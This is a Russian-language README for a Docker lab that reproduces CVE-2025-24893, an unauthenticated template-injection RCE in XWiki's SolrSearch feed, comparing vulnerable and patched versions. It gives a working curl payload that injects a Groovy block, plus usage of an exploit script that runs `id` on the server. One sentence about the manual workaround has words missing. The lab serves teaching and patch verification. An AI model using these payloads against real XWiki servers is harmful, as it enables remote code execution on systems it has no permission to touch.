CVE-2025-24893 - SSTI в XWiki SolrSearch, ведущая к неаутентифицированному RCE

Автономная Docker-лаборатория, воспроизводящая CVE-2025-24893 — инъекцию серверных шаблонов (Server-Side Template Injection) в RSS-ленте SolrSearch в XWiki, которая приводит к неаутентифицированному удалённому выполнению кода. В ней запускаются уязвимая версия 15.10.10 и исправленная версия 15.10.11, поэтому один и тот же запрос можно показать успешным на одной и неудачным на другой.

Примечание об использовании ИИ-инструментов. При подготовке этого проекта я ограниченно использовал двух ИИ-ассистентов — Anthropic Claude Opus 4.8 и DeepSeek-V4-Flash-0731 — для изучения документации и подходов, для ревью кода и для шлифовки формулировок в файле README.md и в LaTeX-отчёте. Их вклад был незначительным и строго подчинённым моим собственным решениям.

1. Предварительные требования

Docker Engine и Docker Compose v2 (подкоманда docker compose, а не старый бинарный файл docker-compose). Зафиксируйте версии для отчёта с помощью docker --version и docker compose version.
Около 2 ГБ свободной оперативной памяти для контейнера XWiki (куча JVM установлена в 1 ГБ) плюс MySQL.
Работает на amd64 и arm64 (включая Apple Silicon): базовый образ tomcat:9-jre17, mysql:8.4 и чисто-Java JDBC-драйвер — все multi-arch.
Доступ в интернет нужен только при первой сборке — для загрузки WAR-файла XWiki и JDBC-драйвера, оба проверяются по контрольным суммам.

2. Структура

cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py                    # standard-library proof of concept
├── figures/
│   ├── Figure 1.png
│   ├── Figure 2.png
│   ├── Figure 3.png
│   └── Figure 4.png
├── mysql/
│   └── init.sql                  # privileges for the xwiki DB user
└── xwiki-build/                  # image build, pinned to the exact version by SHA-256
    ├── Dockerfile
    ├── tomcat/
    │   └── setenv.sh
    └── xwiki/
        ├── docker-entrypoint.sh
        └── hibernate.cfg.xml

Единственное различие между двумя стеками — версия XWiki. Всё остальное, включая образ базы данных и JDBC-драйвер, идентично, поэтому любое изменение в поведении объясняется только исправлением и ничем иным.

3. Воспроизведение уязвимости (15.10.10)

Сборка и запуск:

docker compose -f docker-compose.vuln.yml up --build -d

Первая сборка загружает и распаковывает XWiki, на это уходит несколько минут. Дождитесь, пока Tomcat сообщит о запуске:

docker compose -f docker-compose.vuln.yml logs -f xwiki   # wait for "Server startup in ..."

Завершите разовую настройку при первом запуске: откройте http://localhost:8080 и пройдите мастер установки (Distribution Wizard), установив стандартную редакцию XWiki Standard. Это подготовит интерфейс SolrSearch, на который нацелен эксплойт. Конечная точка доступна гостям, поэтому сама атака не требует входа в систему; начальная настройка — единственный шаг, где он нужен.

Запустите эксплойт (без аутентификации):

python3 exploit.py http://localhost:8080

Ожидаемый вывод на уязвимом стеке:

[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.

При желании можно показать, что выполнение доходит до ОС, с помощью команды только для чтения:

python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...

Тот же запрос в виде однострочной команды curl:

curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42

Сделайте скриншот вывода для отчёта, затем остановите стенд:

docker compose -f docker-compose.vuln.yml down          # add -v to also wipe the volumes

4. Воспроизведение исправления (15.10.11)

docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki   # wait for "Server startup in ..."

Снова пройдите мастер установки на http://localhost:8080, после чего запустите тот же самый эксплойт:

python3 exploit.py http://localhost:8080

Ожидаемый вывод на исправленном стеке:

[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).

Сделайте скриншот и для этого случая, затем сбросьте состояние:

docker compose -f docker-compose.patched.yml down -v

Почему исправление работает

В версии 15.10.10 блок вывода ленты отдаёт её как «голое» Velocity-выражение ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), поэтому лента — в которой отражается поисковый текст пользователя — снова пропускается через конвейер рендеринга XWiki, где выполняется встроенный макрос {{groovy}}. В версии 15.10.11 этот блок заменён вызовом нового макроса rawResponse (SolrSearchMacros.xml, строка 954; макрос определён в templates/macros.vm). rawResponse явно задаёт тип содержимого (application/rss+xml), записывает байты ленты напрямую в ответ через $response.writer.print(...) и вызывает $xcontext.setFinished(true), чтобы остановить дальнейший рендеринг, — лента отправляется без изменений, а встроенный блок {{groovy}} никогда не выполняется. Коммит с исправлением 67021db9b8ed26c2236a653269302a86bf01ef40, бюллетень безопасности GHSA-rr6p-3pfg-562j. В бюллетене также приведён ручной обходной способ: отредактируйте , чтобы использовать тот же шаблон , — это закрывает уязвимость без обновления.

5. Детерминированность и сброс

Зафиксированы: версии XWiki (15.10.10 и 15.10.11), SHA-256 контрольные суммы WAR и JDBC-драйвера, базовый образ tomcat:9-jre17, база данных mysql:8.4 и порт 8080.
Сброс состояния выполняется командой docker compose -f <file> down -v; следующий запуск up инициализирует всё с нуля.
Учётные данные (xwiki/xwiki, root xwiki-root) предназначены только для этой локальной лаборатории.
Два стека используют разные имена проектов Compose, поэтому их тома никогда не конфликтуют. Не запускайте оба одновременно, так как оба публикуют порт 8080.

6. Проверьте зафиксированные контрольные суммы самостоятельно

for V in 15.10.10 15.10.11; do
  curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
  echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
#         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c

curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5

Атрибуция

xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) и mysql/init.sql адаптированы или заимствованы (vendored) из официальной сборки XWiki, https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). Dockerfile отличается от исходного (upstream) образа тремя небольшими задокументированными изменениями: (1) версия XWiki и JDBC и контрольная сумма передаются как аргументы сборки, поэтому один файл собирает и уязвимый, и исправленный образ; (2) явный chmod +x гарантирует, что entrypoint останется исполняемым, даже если права Unix будут потеряны при распаковке или переносе файлов; (3) исправлен устаревший комментарий из upstream, ссылавшийся на файл .env (здесь не используется). Авторские права на XWiki принадлежат команде разработчиков XWiki (XWiki Development Team).

Популярное

CVE-2025-24893_Analysis